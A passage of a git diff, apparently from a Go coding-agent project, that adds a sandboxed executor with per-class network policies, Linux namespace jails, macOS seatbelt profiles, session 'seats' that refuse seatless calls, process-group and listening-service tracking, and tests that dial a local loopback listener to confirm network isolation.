"host-bound": HostBound} +) + +func (c Class) rule() rule { return rules[c] } + +// PolicyFor is the network policy of a call under a class. +func PolicyFor(c Class, setup bool) NetPolicy { + if setup { + return c.rule().Setup + } + return c.rule().Net +} + +// ParseClass reads a declared class name as stored in a cell's meta. +func ParseClass(name string) (Class, bool) { + c, ok := classNames[name] + return c, ok +} diff --git a/internal/executor/policy_linux_test.go b/internal/executor/policy_linux_test.go new file mode 100644 index 0000000000..bdfc5558af --- /dev/null +++ b/internal/executor/policy_linux_test.go @@ -0,0 +1,108 @@ +//go:build linux + +package executor + +import ( + "context" + "errors" + "fmt" + "net" + "strings" + "testing" + "time" +) + +// listener returns a local TCP address a jailed child can only reach if it +// shares this network namespace. +func listener(t *testing.T) string { + t.Helper() + l, err := net.Listen("tcp", "127.0.0.1:0") + if err != nil { + t.Skipf("no loopback: %v", err) + } + t.Cleanup(func() { l.Close() }) + go func() { + for { + c, err := l.Accept() + if err != nil { + return + } + c.Close() + } + }() + return l.Addr().String() +} + +// TestClassGovernsReach dials a listener outside the child's namespace under +// each class through the real jail: only a sandboxed call without setup is cut off. +func TestClassGovernsReach(t *testing.T) { + if !Probe().UserNS { + t.Skip("user namespaces unavailable") + } + addr := listener(t) + dialAddr := ExecRequest{Argv: []string{"bash", "-c", fmt.Sprintf("exec 3<>/dev/tcp/%s", strings.Replace(addr, ":", "/", 1))}, Timeout: 10 * time.Second} + cases := []struct { + name string + class Class + setup bool + reaches bool + effect SideEffect + }{ + {"sandboxed denies", Sandboxed, false, false, EffectLocal}, + {"sandboxed setup", Sandboxed, true, true, EffectExternal}, + {"host-bound open", HostBound, false, true, EffectExternal}, + } + for _, c := range cases { + req := dialAddr + req.Setup = c.setup + res, err := Local{Root: t.TempDir(), Class: c.class, Jail: DefaultJail()}.Exec(context.Background(), req, nil) + if err != nil { + t.Fatalf("%s: %v", c.name, err) + } + if (res.Exit == 0) != c.reaches || res.SideEffect != c.effect { + t.Errorf("%s: exit %d effect %s stderr %q", c.name, res.Exit, res.SideEffect, res.Stderr) + } + } +} + +// TestSetupStanceOpensTheNetworkForEveryCall: a call that states no intent of +// its own is still a setup call on the setup form of a seat, and an ordinary +// call on the same seat stays cut off. +func TestSetupStanceOpensTheNetworkForEveryCall(t *testing.T) { + if !Probe().UserNS { + t.Skip("user namespaces unavailable") + } + addr := listener(t) + req := ExecRequest{Argv: []string{"bash", "-c", fmt.Sprintf("exec 3<>/dev/tcp/%s", strings.Replace(addr, ":", "/", 1))}, Timeout: 10 * time.Second} + plain := Stance{Class: Sandboxed} + for _, c := range []struct { + name string + seat Seat + reaches bool + effect SideEffect + }{ + {"ordinary", plain, false, EffectLocal}, + {"setup", ForSetup(plain), true, EffectExternal}, + } { + res, err := c.seat.In(t.TempDir()).Exec(context.Background(), req, nil) + if err != nil { + t.Fatalf("%s: %v", c.name, err) + } + if (res.Exit == 0) != c.reaches || res.SideEffect != c.effect { + t.Errorf("%s: exit %d effect %s stderr %q", c.name, res.Exit, res.SideEffect, res.Stderr) + } + } +} + +func TestForSetupLeavesASeatWithoutASetupFormAsItIs(t *testing.T) { + if got := ForSetup(unseated{}); got != (unseated{}) { + t.Fatalf("got %T", got) + } +} + +func TestLinuxRefusalNamesNamespaces(t *testing.T) { + err := refuseWithoutNamespaces(ExecRequest{Net: NetPolicy{}}) + if !errors.Is(err, ErrNoIsolation) || !strings.Contains(err.Error(), "user namespaces") { + t.Fatalf("refusal = %v", err) + } +} diff --git a/internal/executor/policy_test.go b/internal/executor/policy_test.go new file mode 100644 index 0000000000..dcab42f8b7 --- /dev/null +++ b/internal/executor/policy_test.go @@ -0,0 +1,77 @@ +package executor + +import ( + "context" + "errors" + "strings" + "testing" +) + +func TestPolicyTable(t *testing.T) { + cases := []struct { + class Class + setup bool + denies bool + effect SideEffect + }{ + {Sandboxed, false, true, EffectLocal}, + {Sandboxed, true, false, EffectExternal}, + {HostBound, false, false, EffectExternal}, + {HostBound, true, false, EffectExternal}, + {FilesOnly, false, true, EffectLocal}, + } + for _, c := range cases { + p := PolicyFor(c.class, c.setup) + if p.Denies() != c.denies || Classify(p) != c.effect { + t.Errorf("class %d setup %v: denies %v effect %s", c.class, c.setup, p.Denies(), Classify(p)) + } + } +} + +func TestExecMarksSideEffectFromClass(t *testing.T) { + cases := []struct { + class Class + setup bool + want SideEffect + }{ + {Sandboxed, false, EffectLocal}, + {Sandboxed, true, EffectExternal}, + {HostBound, false, EffectExternal}, + } + for _, c := range cases { + req := sh("true") + req.Setup = c.setup + res, err := Local{Root: t.TempDir(), Class: c.class}.Exec(context.Background(), req, nil) + if err != nil || res.SideEffect != c.want { + t.Errorf("class %d setup %v: %s, %v; want %s", c.class, c.setup, res.SideEffect, err, c.want) + } + } +} + +func TestParseClass(t *testing.T) { + if c, ok := ParseClass("files-only"); !ok || c != FilesOnly { + t.Fatalf("ParseClass = %d %v", c, ok) + } + if _, ok := ParseClass("nonsense"); ok { + t.Fatal("an unknown class name parsed") + } +} + +func TestRefusalIsReadable(t *testing.T) { + err := refuseWithout(ExecRequest{Net: NetPolicy{}}, "the fix") + if !errors.Is(err, ErrNoIsolation) || !strings.Contains(err.Error(), "the fix") { + t.Fatalf("refusal = %v", err) + } + if refuseWithout(ExecRequest{Net: openNet}, "the fix") != nil { + t.Fatal("an open call must run degraded, not be refused") + } +} + +// The host seat (CODEAF_CELLS off) runs exactly as before the policy existed: +// unjailed, network open. +func TestHostSeatRunsAsBefore(t *testing.T) { + res, err := Host.In(t.TempDir()).Exec(context.Background(), sh("true"), nil) + if err != nil || res.SideEffect != EffectExternal || res.JailDegraded { + t.Fatalf("legacy call: %+v, %v", res, err) + } +} diff --git a/internal/executor/remote.go b/internal/executor/remote.go new file mode 100644 index 0000000000..d9c9a2e02b --- /dev/null +++ b/internal/executor/remote.go @@ -0,0 +1,16 @@ +package executor + +import ( + "context" + "errors" +) + +// ErrRemoteNotImplemented is what Remote answers until transport exists. +var ErrRemoteNotImplemented = errors.New("executor: remote execution is not implemented") + +// Remote will run a request on another device. +type Remote struct{} + +func (Remote) Exec(context.Context, ExecRequest, func(Chunk)) (ExecResult, error) { + return ExecResult{}, ErrRemoteNotImplemented +} diff --git a/internal/executor/seat.go b/internal/executor/seat.go new file mode 100644 index 0000000000..c28e1c5b4d --- /dev/null +++ b/internal/executor/seat.go @@ -0,0 +1,260 @@ +package executor + +import ( + "context" + "errors" + "os/exec" + "sync" +) + +// Runner is what a tool site needs from its seat: buffered or streamed calls +// through Exec, and an unstarted command through Command for a process whose +// lifetime the site owns. +type Runner interface { + Executor + Command(ctx context.Context, req ExecRequest) (*exec.Cmd, error) +} + +var _ Runner = Local{} + +// Seat is the executor a session owns. Tools ask it for a Runner rooted at the +// directory they work in; the class, and whatever records the work, belong to +// the seat and never to the site. +type Seat interface { + In(dir string) Runner + // Around runs one tool call (docs/ARCHITECTURE.md 4.3: the boundary the + // tree is sealed at) and hands run's output and verdict to whatever keeps + // the record. The tool's own result is run's business; the error is only + // ever the seat's, and means the call was not run. + Around(ctx context.Context, call Call, run func() (output []byte, failed bool)) error +} + +// Call is one tool call as the seat is told of it. +type Call struct { + Tool string + Args []byte + // Changed is the workspace-relative paths the call is known to change; nil + // means unknown, and the whole tree is then looked at. + Changed []string + // Spawns, when set, is told of every process group the tool starts for the + // call, so a record of the call can name what to end if the harness dies + // while it runs. Nil is a call nobody follows. + Spawns *Spawns + // Deferred asks the seat to record the call and leave the seal to a later + // [Settler.Settle], because the caller still has to write the call's result + // into the transcript and a seal taken before that carries a call whose work + // is present and whose result is absent. A caller that sets it owes the Settle. + Deferred bool +} + +// Settler is a seat that can hold a call's seal back until its caller says the +// call's result is written down. +type Settler interface { + // Settle seals whatever calls were recorded as Deferred, and the transcript + // lines written since the last seal, when there are any. It never fails the + // caller: a seal that did not hold is reported to the seat's own watch and + // rides the next one. + Settle(ctx context.Context) +} + +// Settle is the seat's [Settler.Settle]. A seat that keeps no record has nothing +// to settle, the way ForSetup leaves a seat that cannot tell setup apart. +func Settle(ctx context.Context, s Seat) { + if settler, ok := s.(Settler); ok { + settler.Settle(ctx) + } +} + +type deferKey struct{} + +// Deferring returns a context whose tool calls ask their seat to defer the +// seal. The turn loop uses it for the batch whose results it writes itself. +func Deferring(ctx context.Context) context.Context { + return context.WithValue(ctx, deferKey{}, true) +} + +// Deferred reports whether ctx came from [Deferring]. +func Deferred(ctx context.Context) bool { + deferred, _ := ctx.Value(deferKey{}).(bool) + return deferred +} + +// Stance is a seat that runs every call under one declared class and records +// none of them. Setup makes every call one of a setup turn (network open, +// external); Observer, when set, sees each call that ran to a result. +type Stance struct { + Class Class + Setup bool + Observer Observer + Secrets SecretSource // added to every process's environment; nil adds none +} + +// In implements Seat. +func (s Stance) In(dir string) Runner { + return Local{Root: dir, Class: s.Class, Jail: DefaultJail(), Setup: s.Setup, Observer: s.Observer, Secrets: s.Secrets} +} + +// ForSetup is the same stance for a setup turn's calls. +func (s Stance) ForSetup() Seat { + s.Setup = true + return s +} + +// SetupSeat is a seat that can run a setup turn's calls. +type SetupSeat interface { + Seat + ForSetup() Seat +} + +// ForSetup is the seat a setup turn's calls run on. A seat that cannot tell a +// setup call apart is returned as it is. +func ForSetup(s Seat) Seat { + if setup, ok := s.(SetupSeat); ok { + return setup.ForSetup() + } + return s +} + +// Around implements Seat: a stance keeps no record, so the call just runs. +func (Stance) Around(_ context.Context, _ Call, run func() ([]byte, bool)) error { + run() + return nil +} + +// Host is the seat of work that belongs to no session (plumbing outside a chat, +// and every session while cells are off): unjailed, network open, unrecorded. +// A site that means this says so by name. +var Host Seat = Stance{Class: HostBound} + +type seatKey struct{} + +// With returns a context whose tool calls run on seat. +func With(ctx context.Context, seat Seat) context.Context { + if seat == nil { + return ctx + } + return context.WithValue(ctx, seatKey{}, seat) +} + +// ErrNoSeat is what a tool call answers when its context carries no session. +// Work that belongs to no session says so with [Host]; a tool call that lost +// its session is a bug, and running it unjailed on the host would hide it. +var ErrNoSeat = errors.New("executor: this call carries no session seat") + +// For is the seat of the session whose call ctx belongs to. A context that +// carries none gets a seat that refuses every call with [ErrNoSeat]. +func For(ctx context.Context) Seat { + if seat, ok := ctx.Value(seatKey{}).(Seat); ok { + return seat + } + if testSeat != nil { + return testSeat + } + return unseated{} +} + +// testSeat is what a test binary that runs tools without a session says its +// calls run on. It is set by internal/executor/executortest and nowhere else +// (law_test.go), so no production binary has it. +var testSeat Seat + +// UseInTests names the seat a test binary's seatless calls run on. Only +// executortest may call it. +func UseInTests(seat Seat) { testSeat = seat } + +type unseated struct{ Stance } + +// ForSetup implements SetupSeat: a session that was lost stays lost in a setup +// turn, so a promoted Stance form never lets its calls run. +func (u unseated) ForSetup() Seat { return u } + +// In implements Seat. +func (unseated) In(string) Runner { return refused{} } + +type refused struct{ Local } + +// Exec implements Executor. +func (refused) Exec(context.Context, ExecRequest, func(Chunk)) (ExecResult, error) { + return ExecResult{}, ErrNoSeat +} + +// Command implements Runner. +func (refused) Command(context.Context, ExecRequest) (*exec.Cmd, error) { return nil, ErrNoSeat } + +// Spawns is where one tool call reports the process groups it starts. The call +// owns the process (a shell tool starts it through Command), so only the tool +// knows the moment it exists; the record around the call listens here. +type Spawns struct { + mu sync.Mutex + on func(pgid int) + groups []int +} + +type spawnsKey struct{} + +// WithSpawns returns a context whose tool calls report into the Spawns handed +// back, which the caller puts on the [Call] it gives the seat. +func WithSpawns(ctx context.Context) (context.Context, *Spawns) { + s := &Spawns{} + return context.WithValue(ctx, spawnsKey{}, s), s +} + +// Groups is every process group the call has started so far, in order. It is +// what lets the record around a finished call ask which of them outlived it. +func (s *Spawns) Groups() []int { + if s == nil { + return nil + } + s.mu.Lock() + defer s.mu.Unlock() + return append([]int(nil), s.groups...) +} + +// Watch sets who is told of each group. A nil Spawns hears nobody. +func (s *Spawns) Watch(on func(pgid int)) { + if s == nil { + return + } + s.mu.Lock() + defer s.mu.Unlock() + s.on = on +} + +// Spawned is a tool's word that it started the process group pgid for the call +// ctx belongs to. A context with no call to tell makes it a no-op. +func Spawned(ctx context.Context, pgid int) { + s, _ := ctx.Value(spawnsKey{}).(*Spawns) + if s == nil { + return + } + s.mu.Lock() + on := s.on + s.groups = append(s.groups, pgid) + s.mu.Unlock() + if on != nil { + on(pgid) + } +} + +// Interrupted is what a crash left unfinished on a seat: calls that began and +// never ended. Lines are for the person, Note is for the model's next turn, and +// Close is said once both were told, so the calls stop counting as open. +type Interrupted interface { + Lines() []string + Note() string + Close() error +} + +// Interruptible is a seat that can name what a crash left behind. +type Interruptible interface { + Interrupted() Interrupted +} + +// InterruptedOn is what the seat's last run left unfinished, and nil for a seat +// that keeps no record. +func InterruptedOn(s Seat) Interrupted { + if i, ok := s.(Interruptible); ok { + return i.Interrupted() + } + return nil +} diff --git a/internal/executor/seat_test.go b/internal/executor/seat_test.go new file mode 100644 index 0000000000..259247e15b --- /dev/null +++ b/internal/executor/seat_test.go @@ -0,0 +1,96 @@ +package executor_test + +import ( + "context" + "encoding/json" + "errors" + "sync" + "testing" + "time" + + "github.com/Agent-Field/codeaf/internal/exec/bare" + "github.com/Agent-Field/codeaf/internal/executor" + "github.com/Agent-Field/codeaf/internal/seniordev/util" + "github.com/Agent-Field/codeaf/internal/verify" +) + +// probeSeat hands out unjailed runners of one class and remembers each ask. +type probeSeat struct { + executor.Stance + mu sync.Mutex + dirs []string +} + +func (p *probeSeat) In(dir string) executor.Runner { + p.mu.Lock() + p.dirs = append(p.dirs, dir) + p.mu.Unlock() + return executor.Local{Root: dir, Class: p.Class} +} + +func (p *probeSeat) asked() int { + p.mu.Lock() + defer p.mu.Unlock() + return len(p.dirs) +} + +// Every tool site takes its executor from the seat its context carries, so the +// class a session declared is the class the site runs under. +func TestEverySiteRunsOnTheContextSeat(t *testing.T) { + sites := map[string]func(context.Context, string){ + "bash": func(ctx context.Context, dir string) { + _, _, _ = bare.RunBash(ctx, dir, json.RawMessage(`{"command":"true"}`), bare.DefaultCaps(), nil) + }, + "reading": func(ctx context.Context, dir string) { + _, _ = verify.RunReading(ctx, dir, verify.Strategy{Command: "true"}, time.Minute) + }, + "process": func(ctx context.Context, dir string) { + if child, err := util.SpawnProcess(ctx, []string{"true"}, util.ProcessOptions{Cwd: dir}); err == nil { + <-child.Exited + } + }, + } + classes := map[string]executor.Class{ + "files-only": executor.FilesOnly, "sandboxed": executor.Sandboxed, "host-bound": executor.HostBound, + } + for class, c := range classes { + for name, site := range sites { + t.Run(class+"/"+name, func(t *testing.T) { + seat := &probeSeat{Stance: executor.Stance{Class: c}} + site(executor.With(context.Background(), seat), t.TempDir()) + if seat.asked() == 0 { + t.Fatalf("the %s site never asked the session's seat", name) + } + }) + } + } +} + +func TestForRefusesAContextThatCarriesNoSession(t *testing.T) { + runner := executor.For(context.Background()).In(t.TempDir()) + if _, err := runner.Exec(context.Background(), executor.ExecRequest{Argv: []string{"true"}}, nil); !errors.Is(err, executor.ErrNoSeat) { + t.Fatalf("Exec err = %v, want ErrNoSeat", err) + } + if _, err := runner.Command(context.Background(), executor.ExecRequest{Argv: []string{"true"}}); !errors.Is(err, executor.ErrNoSeat) { + t.Fatalf("Command err = %v, want ErrNoSeat", err) + } + seat := &probeSeat{} + if executor.For(executor.With(context.Background(), seat)) != executor.Seat(seat) { + t.Fatal("the carried seat was not returned") + } +} + +func TestTwoSeatsOnOnePathKeepTheirOwnClass(t *testing.T) { + dir := t.TempDir() + files := executor.Stance{Class: executor.FilesOnly}.In(dir).(executor.Local) + host := executor.Stance{Class: executor.HostBound}.In(dir).(executor.Local) + if files.Class != executor.FilesOnly || host.Class != executor.HostBound { + t.Fatalf("classes crossed: %d and %d", files.Class, host.Class) + } + if _, err := files.Exec(context.Background(), executor.ExecRequest{Argv: []string{"true"}}, nil); err == nil { + t.Fatal("a files-only seat ran a process") + } + if _, err := host.Exec(context.Background(), executor.ExecRequest{Argv: []string{"true"}}, nil); err != nil { + t.Fatalf("the host-bound seat on the same path was refused: %v", err) + } +} diff --git a/internal/executor/seatbelt.go b/internal/executor/seatbelt.go new file mode 100644 index 0000000000..cd38f21874 --- /dev/null +++ b/internal/executor/seatbelt.go @@ -0,0 +1,81 @@ +package executor + +import ( + "fmt" + "strings" +) + +// seatbelt.go renders the macOS sandbox profile from the same policy the +// Linux jail applies: reads anywhere, writes only in the workspace and a +// private temporary directory, no network unless the policy opens it, and the +// hidden directories (the harness-owned .cell/ and the engine store) neither +// read nor written. The profile is plain text, so it is built and tested on +// every system; only running it needs macOS (jail_darwin.go). + +// scope is what one call's profile is built from. +type scope struct { + root string // canonical workspace root + tmp string // canonical private temporary directory + hidden []string // canonical paths no call may touch + net NetPolicy // the call's network policy +} + +// devSinks are the device nodes any tool needs to write. +var devSinks = []string{"/dev/null", "/dev/zero", "/dev/random", "/dev/urandom", + "/dev/tty", "/dev/dtracehelper", "/dev/stdout", "/dev/stderr", "/dev/fd"} + +// profile renders the whole profile. Later rules win, so the hidden paths +// come last. +func (s scope) profile() string { + return strings.Join([]string{ + "(version 1)", + "(deny default)", + runtimePlumbing, + "(allow file-read*)", + clause("allow file-write*", subpaths(s.root, s.tmp)+literals(devSinks...)), + s.network(), + s.hide(), + }, "\n") + "\n" +} + +// runtimePlumbing is what a process needs to start and run at all. +const runtimePlumbing = `(allow process-exec*) +(allow process-fork) +(allow signal (target self)) +(allow sysctl-read) +(allow mach-lookup) +(allow ipc-posix-shm*)` + +func (s scope) network() string { + if s.net.Denies() { + return "(deny network*)" + } + return "(allow network*)" +} + +// hide refuses every access beneath the hidden paths; with none it is empty. +func (s scope) hide() string { + if len(s.hidden) == 0 { + return "" + } + return clause("deny file-read* file-write*", subpaths(s.hidden...)) +} + +func clause(head, filters string) string { return "(" + head + "\n" + filters + ")" } + +// subpaths filters a directory tree; literals filters exact paths. +func subpaths(paths ...string) string { return filter("subpath", paths) } +func literals(paths ...string) string { return filter("literal", paths) } + +func filter(kind string, paths []string) string { + var b strings.Builder + for _, p := range paths { + fmt.Fprintf(&b, " (%s %s)\n", kind, quote(p)) + } + return b.String() +} + +var quoter = strings.NewReplacer(`\`, `\\`, `"`, `\"`) + +// quote is a profile string literal. +func quote(p string) string { return `"` + quoter.Replace(p) + `"` } diff --git a/internal/executor/seatbelt_test.go b/internal/executor/seatbelt_test.go new file mode 100644 index 0000000000..f9fbaa89a1 --- /dev/null +++ b/internal/executor/seatbelt_test.go @@ -0,0 +1,40 @@ +package executor + +import ( + "strings" + "testing" +) + +func TestProfileGrantsOnlyWorkspaceAndTmp(t *testing.T) { + p := scope{root: "/w/root", tmp: "/t/private", net: NetPolicy{}}.profile() + for _, want := range []string{"(deny default)", `(subpath "/w/root")`, `(subpath "/t/private")`, "(deny network*)"} { + if !strings.Contains(p, want) { + t.Errorf("profile lacks %s:\n%s", want, p) + } + } + if strings.Contains(p, "(allow network*)") || strings.Contains(p, "deny file-read* file-write*") { + t.Errorf("profile grants or hides too much:\n%s", p) + } +} + +func TestProfileOpensNetworkOnPolicy(t *testing.T) { + p := scope{root: "/w", tmp: "/t", net: openNet}.profile() + if !strings.Contains(p, "(allow network*)") || strings.Contains(p, "(deny network*)") { + t.Fatalf("open policy did not open the network:\n%s", p) + } +} + +func TestProfileHidesLast(t *testing.T) { + p := scope{root: "/w", tmp: "/t", hidden: []string{"/w/.cell", "/store"}}.profile() + hide := strings.Index(p, "(deny file-read* file-write*") + if hide < strings.LastIndex(p, "(allow ") || !strings.Contains(p, `(subpath "/store")`) { + t.Fatalf("hidden paths must be the last rules:\n%s", p) + } +} + +func TestProfileQuotesPaths(t *testing.T) { + p := scope{root: `/w/a"b\c`, tmp: "/t"}.profile() + if !strings.Contains(p, `(subpath "/w/a\"b\\c")`) { + t.Fatalf("path not escaped:\n%s", p) + } +} diff --git a/internal/executor/service.go b/internal/executor/service.go new file mode 100644 index 0000000000..42ac58bf38 --- /dev/null +++ b/internal/executor/service.go @@ -0,0 +1,117 @@ +package executor + +import ( + "context" + "os/exec" + "path/filepath" + "strings" + + "github.com/Agent-Field/codeaf/internal/processgroup" +) + +// services reports the process group when something in it outlived the leader. +// A call that was killed leaves none. +func services(ctx context.Context, cmd *exec.Cmd, req ExecRequest, root string) []Service { + pgid := cmd.Process.Pid + if ctx.Err() != nil || !processgroup.Alive(pgid) { + return nil + } + return []Service{describe(req, root, pgid, processgroup.Members(pgid))} +} + +// Left is the services a finished tool call left running: each process group it +// started that still has a member. A shell tool starts its process through +// Command, so no [ExecResult] carries these; the call's own account of the +// groups it started is the only place they are known. +func Left(call Call) []Service { + var out []Service + for _, pgid := range call.Spawns.Groups() { + if members := processgroup.Members(pgid); len(members) > 0 { + out = append(out, describe(ExecRequest{Argv: []string{shellTool}}, "", pgid, members)) + } + } + return out +} + +// describe fills a service record from its surviving members. The member that +// listens names it, because it is the server; with none listening the first +// member does. The ports of all members are its ports. +func describe(req ExecRequest, root string, pgid int, members []int) Service { + argv := req.Argv + if name := namingMember(members); name > 0 { + if a := cmdline(name); len(a) > 0 { + argv = a + } + } + name := filepath.Base(argv[0]) + return Service{ + Name: name, Argv: argv, PGID: pgid, + Ports: listenPorts(members), + DataDir: dataDir(name, argv, root, req.Dir), + } +} + +// dataDirFlags is the table of data-directory flags by executable name. +var dataDirFlags = map[string][]string{ + "postgres": {"-D", "--pgdata"}, + "pg_ctl": {"-D", "--pgdata"}, + "redis-server": {"--dir"}, + "mysqld": {"--datadir"}, + "mariadbd": {"--datadir"}, + "mongod": {"--dbpath"}, + "etcd": {"--data-dir"}, + "clickhouse": {"--path"}, +} + +// dataDir finds the value of the tool's data-directory flag and returns it +// relative to the workspace root; a directory outside the root is dropped. +func dataDir(name string, argv []string, root, dir string) string { + for _, flag := range dataDirFlags[name] { + if v, ok := flagValue(argv, flag); ok { + return inside(root, dir, v) + } + } + return "" +} + +// flagValue reads "flag value" and "flag=value" forms. +func flagValue(argv []string, flag string) (string, bool) { + for i, a := range argv { + if a == flag && i+1 < len(argv) { + return argv[i+1], true + } + if v, ok := strings.CutPrefix(a, flag+"="); ok && strings.HasPrefix(flag, "--") { + return v, true + } + } + return "", false +} + +// inside makes path root-relative: a relative path is taken from the call's +// directory, an absolute one from the root. Empty when it leaves the root. +func inside(root, dir, path string) string { + abs := path + if !filepath.IsAbs(path) { + abs = filepath.Join(root, dir, path) + } + rel, err := filepath.Rel(root, abs) + if err != nil || rel == ".." || strings.HasPrefix(rel, "../") { + return "" + } + return filepath.ToSlash(rel) +} + +// namingMember is the member that names a service: the first that listens on a +// port, else the first member, else 0. A shell that started a server lingers +// beside it, and the shell's command line says nothing of what is being served. +func namingMember(members []int) int { + for _, m := range members { + if len(listenPorts([]int{m})) > 0 { + return m + } + } + if len(members) > 0 { + return members[0] + } + return 0 +} diff --git a/internal/executor/service_linux.go b/internal/executor/service_linux.go new file mode 100644 index 0000000000..559a307076 --- /dev/null +++ b/internal/executor/service_linux.go @@ -0,0 +1,109 @@ +//go:build linux + +package executor + +import ( + "bytes" + "os" + "path/filepath" + "sort" + "strconv" + "strings" +) + +// cmdline is a process's argv, or nil when it cannot be read. +func cmdline(pid int) []string { + raw, err := os.ReadFile("/proc/" + strconv.Itoa(pid) + "/cmdline") + if err != nil || len(raw) == 0 { + return nil + } + return strings.Split(string(bytes.TrimRight(raw, "\x00")), "\x00") +} + +// listenPorts maps each member's sockets to LISTEN ports. The table is read +// through the member itself, so a jailed process's own network namespace is +// the one asked. +func listenPorts(pids []int) []int { + seen := map[int]bool{} + for _, pid := range pids { + listening := listeningInodes(pid) + for inode := range socketInodes(pid) { + if port, ok := listening[inode]; ok { + seen[port] = true + } + } + } + ports := make([]int, 0, len(seen)) + for p := range seen { + ports = append(ports, p) + } + sort.Ints(ports) + return ports +} + +func listeningInodes(pid int) map[uint64]int { + out := map[uint64]int{} + for _, table := range []string{"tcp", "tcp6"} { + raw, err := os.ReadFile("/proc/" + strconv.Itoa(pid) + "/net/" + table) + if err == nil { + for inode, port := range parseListening(string(raw)) { + out[inode] = port + } + } + } + return out +} + +func socketInodes(pid int) map[uint64]bool { + dir := "/proc/" + strconv.Itoa(pid) + "/fd" + entries, _ := os.ReadDir(dir) + out := map[uint64]bool{} + for _, e := range entries { + if link, err := os.Readlink(filepath.Join(dir, e.Name())); err == nil { + if inode, ok := parseSocketLink(link); ok { + out[inode] = true + } + } + } + return out +} + +// parseSocketLink reads "socket:[123]". +func parseSocketLink(link string) (uint64, bool) { + s, ok := strings.CutPrefix(link, "socket:[") + if !ok { + return 0, false + } + inode, err := strconv.ParseUint(strings.TrimSuffix(s, "]"), 10, 64) + return inode, err == nil +} + +// tcpListen is the LISTEN state code in /proc/net/tcp. +const tcpListen = "0A" + +// parseListening reads /proc/net/tcp{,6} text into inode -> local port for +// sockets in LISTEN state. Columns: sl local rem st ... inode (index 9). +func parseListening(text string) map[uint64]int { + out := map[uint64]int{} + for _, line := range strings.Split(text, "\n") { + f := strings.Fields(line) + if len(f) < 10 || f[3] != tcpListen { + continue + } + _, hexPort, ok := cutLast(f[1], ":") + port, perr := strconv.ParseUint(hexPort, 16, 32) + inode, ierr := strconv.ParseUint(f[9], 10, 64) + if ok && perr == nil && ierr == nil { + out[inode] = int(port) + } + } + return out +} + +func cutLast(s, sep string) (string, string, bool) { + i := strings.LastIndex(s, sep) + if i < 0 { + return s, "", false + } + return s[:i], s[i+len(sep):], true +} diff --git a/internal/executor/service_linux_test.go b/internal/executor/service_linux_test.go new file mode 100644 index 0000000000..0eaf13ae71 --- /dev/null +++ b/internal/executor/service_linux_test.go @@ -0,0 +1,34 @@ +//go:build linux + +package executor + +import ( + "reflect" + "testing" + + "github.com/Agent-Field/codeaf/internal/processgroup" +) + +func membersOf(pgid int) []int { return processgroup.Members(pgid) } + +const tcpFixture = ` sl local_address rem_address st tx_queue rx_queue tr tm->when retrnsmt uid timeout inode + 0: 0100007F:1F90 00000000:0000 0A 00000000:00000000 00:00000000 00000000 1000 0 12345 1 0000 100 0 0 10 0 + 1: 0100007F:0050 0100007F:9C40 01 00000000:00000000 00:00000000 00000000 1000 0 22222 1 0000 100 0 0 10 0 + 2: 00000000000000000000000001000000:1538 00000000000000000000000000000000:0000 0A 00000000:00000000 00:00000000 00000000 1000 0 33333 1 0000 100 0 0 10 0 +` + +func TestParseListeningKeepsOnlyListenSockets(t *testing.T) { + want := map[uint64]int{12345: 8080, 33333: 5432} + if got := parseListening(tcpFixture); !reflect.DeepEqual(got, want) { + t.Fatalf("got %v want %v", got, want) + } +} + +func TestParseSocketLink(t *testing.T) { + if n, ok := parseSocketLink("socket:[987]"); !ok || n != 987 { + t.Fatal("socket link") + } + if _, ok := parseSocketLink("/dev/null"); ok { + t.Fatal("not a socket") + } +} diff --git a/internal/executor/service_other.go b/internal/executor/service_other.go new file mode 100644 index 0000000000..0a4ffe3f19 --- /dev/null +++ b/internal/executor/service_other.go @@ -0,0 +1,8 @@ +//go:build !linux + +package executor + +// Off Linux the record keeps the request's argv and no ports. +func cmdline(int) []string { return nil } + +func listenPorts([]int) []int { return nil } diff --git a/internal/executor/service_other_test.go b/internal/executor/service_other_test.go new file mode 100644 index 0000000000..328bd36598 --- /dev/null +++ b/internal/executor/service_other_test.go @@ -0,0 +1,5 @@ +//go:build !linux + +package executor + +func membersOf(int) []int { return nil } diff --git a/internal/executor/service_test.go b/internal/executor/service_test.go new file mode 100644 index 0000000000..e212e59e3b --- /dev/null +++ b/internal/executor/service_test.go @@ -0,0 +1,61 @@ +package executor + +import ( + "context" + "syscall" + "testing" + "time" +) + +func TestDataDirFlagTable(t *testing.T) { + cases := []struct { + name, root, dir string + argv []string + want string + }{ + {"postgres", "/w", "", []string{"postgres", "-D", "pgdata"}, "pgdata"}, + {"postgres", "/w", "db", []string{"postgres", "-D", "data"}, "db/data"}, + {"postgres", "/w", "", []string{"postgres", "-D", "/w/x/pg"}, "x/pg"}, + {"postgres", "/w", "", []string{"postgres", "-D", "/var/lib/pg"}, ""}, + {"postgres", "/w", "", []string{"postgres", "-D", "../pg"}, ""}, + {"redis-server", "/w", "", []string{"redis-server", "--dir", "r"}, "r"}, + {"mysqld", "/w", "", []string{"mysqld", "--datadir=my"}, "my"}, + {"mongod", "/w", "", []string{"mongod", "--dbpath", "m"}, "m"}, + {"postgres", "/w", "", []string{"postgres", "-p", "5432"}, ""}, + {"python3", "/w", "", []string{"python3", "-D", "x"}, ""}, + } + for _, c := range cases { + if got := dataDir(c.name, c.argv, c.root, c.dir); got != c.want { + t.Errorf("%v in %q: got %q want %q", c.argv, c.dir, got, c.want) + } + } +} + +func TestSnapshotExactIffNoServices(t *testing.T) { + if !SnapshotExact(ExecResult{}) || SnapshotExact(ExecResult{Services: []Service{{PGID: 1}}}) { + t.Fatal("exact must mean no services") + } +} + +func TestLocalRecordsAListeningServiceFully(t *testing.T) { + script := "exec python3 -c 'import socket,time;s=socket.socket();s.bind((\"127.0.0.1\",0));s.listen();print(s.getsockname()[1],flush=True);time.sleep(60)' >port.txt 2>&1 0 { + out = append(out, strings.Join(words, " ")) + } + } + return out +} + +// commandNames is the first word of every simple command in a shell line, after +// any leading VAR=value words. It reads the line's shape and not its meaning: +// a name that is not an executable is dropped by whoever resolves it. +func commandNames(line string) []string { + var names []string + for _, words := range commandWords(line) { + names = append(names, words[0]) + } + return names +} + +// commandWords is the words of each simple command in a shell line, from its +// command name on: the leading VAR=value words are not part of the command. +func commandWords(line string) [][]string { + var commands [][]string + for _, segment := range splitCommands(line) { + if words := commandOf(strings.Fields(segment)); len(words) > 0 { + commands = append(commands, words) + } + } + return commands +} + +// commandOf drops the assignments a command starts with and the quotes around +// the command's name, which is the word an observer resolves on PATH. +func commandOf(words []string) []string { + for i, word := range words { + if 